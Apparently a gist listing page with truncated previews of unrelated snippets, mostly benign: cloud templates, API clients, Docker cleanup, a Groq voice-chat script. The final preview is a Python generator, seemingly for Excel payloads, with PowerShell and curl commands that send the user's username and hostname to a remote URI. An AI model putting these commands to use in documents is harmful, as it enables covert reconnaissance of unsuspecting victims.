An experiment using crewai
.
- Setup a virtual environment using
virtualenv
virtualenv -p python3 venv
AWSTemplateFormatVersion: '2010-09-09' | |
Description: CloudFormation template for Flagsmith Platform | |
Parameters: | |
ApexDomain: | |
Description: The domain name for the Flagsmith Platform (e.g., "example.com") | |
Type: String | |
Default: example.com | |
StageName: | |
Description: The environment for the Flagsmith Platform (e.g., "prod") |
""" | |
Originally posted on: | |
https://royfirestein.com/blog/real-time-voice-chat-with-ai | |
""" | |
import os | |
import wave | |
from pydub import AudioSegment | |
from groq import Groq |
const csv = require('@fast-csv/parse'); | |
const https = require('https'); | |
// Autohost API client | |
const client = (path, data, method = 'GET') => { | |
return new Promise((resolve, reject) => { | |
const options = { | |
method, | |
hostname: 'data.autohost.ai', | |
port: 443, |
const got = require('got'); | |
exports.handler = function(context, event, callback) { | |
const requestBody = { | |
to: context.TO_EMAIL_ADDRESS, | |
from: context.FROM_EMAIL_ADDRESS, | |
subject: `New SMS message from: ${event.From}`, | |
text: event.Body, | |
}; | |
#!/bin/bash | |
# | |
# Cleanup Docker | |
# | |
if [ ! $(command -v docker) ]; then | |
echo "Docker is not installed." | |
exit 1 | |
fi |
{ | |
"seccomp-profile": "/etc/docker/seccomp.json" | |
} |
const request = require('request-promise'); | |
// change these values | |
const USER = 'username'; | |
const PASS = 'password'; | |
const API = 'https://api.cymon.io/v2'; | |
async function login() { | |
try { | |
const res = await request.post({ |
curl -XPOST https://api.cymon.io/v2/auth/login -H 'Content-Type: application/json' -d '{"username": "user", "password": "pass"}' |
#!/usr/bin/env python | |
import string | |
import random | |
type = "excel" | |
commands = { | |
"win32": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ", | |
"win64": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ", | |
"mac": "curl -F username=$(whoami) -F hostname=$(hostname) -XPOST " |